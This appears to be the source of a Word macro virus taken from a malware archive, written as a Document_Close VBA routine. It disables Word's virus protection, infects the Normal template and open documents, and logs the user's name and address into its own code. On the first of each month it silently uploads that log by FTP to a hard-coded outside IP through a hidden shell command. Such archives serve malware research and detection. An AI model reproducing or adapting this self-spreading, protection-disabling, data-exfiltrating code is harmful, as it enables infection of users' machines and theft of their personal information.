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https://github.com/vxunderground/MalwareSourceCode
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126 lines
3.5 KiB
Plaintext
126 lines
3.5 KiB
Plaintext
Private Sub Document_Close()
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On Error Resume Next
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Const Marker = "<- this is a marker!"
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'Declare Variables
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Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
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Dim ad, nt As Object
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Dim OurCode, UserAddress, LogData, LogFile As String
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'Initialize Variables
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Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
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Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
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DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
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NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
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'Switch the VirusProtection OFF
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Options.VirusProtection = False
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If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
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If DocumentInfected = True Then
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LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
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ElseIf NormalTemplateInfected = True Then
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LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
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End If
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LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
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For I = 1 To 4
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LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
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Next I
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LogFile = "C:\hsf" & LogFile & ".sys"
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Open LogFile For Output As #1
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Print #1, LogData
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Close #1
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Open "c:\netldx.vxd" For Output As #1
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Print #1, "o 209.201.88.110"
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Print #1, "user anonymous"
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Print #1, "pass itsme@"
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Print #1, "cd incoming"
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Print #1, "ascii"
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Print #1, "put " & LogFile
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Print #1, "quit"
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Close #1
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Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
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System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
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End If
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'Make sure that some conditions are true before we continue infecting anything
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If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
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(ActiveDocument.SaveFormat = wdFormatDocument Or _
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ActiveDocument.SaveFormat = wdFormatTemplate) Then
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'Infect the NormalTemplate
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If DocumentInfected = True Then
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SaveNormalTemplate = NormalTemplate.Saved
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OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
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'Write a log file of this NormalTemplate infection
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For I = 1 To Len(Application.UserAddress)
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If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
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If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
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UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
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End If
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Else
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UserAddress = UserAddress & Chr(13) & "' "
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End If
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Next I
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OurCode = OurCode & Chr(13) & _
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"' " & Format(Time, "hh:mm:ss AMPM - ") & _
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Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
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"' " & Application.UserName & Chr(13) & _
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"' " & UserAddress & Chr(13)
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nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
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nt.CodeModule.AddFromString OurCode
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If SaveNormalTemplate = True Then NormalTemplate.Save
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End If
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'Infect the ActiveDocument
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If NormalTemplateInfected = True And _
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(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
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ActiveDocument.Saved = False) Then
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SaveDocument = ActiveDocument.Saved
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OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
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ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
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ad.CodeModule.AddFromString OurCode
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If SaveDocument = True Then ActiveDocument.Save
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End If
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End If
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End Sub
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' Logfile -->
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' 09:08:36 - Saturday, 28 Nov 1998
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' SPo0Ky
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' Blue Planet
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' |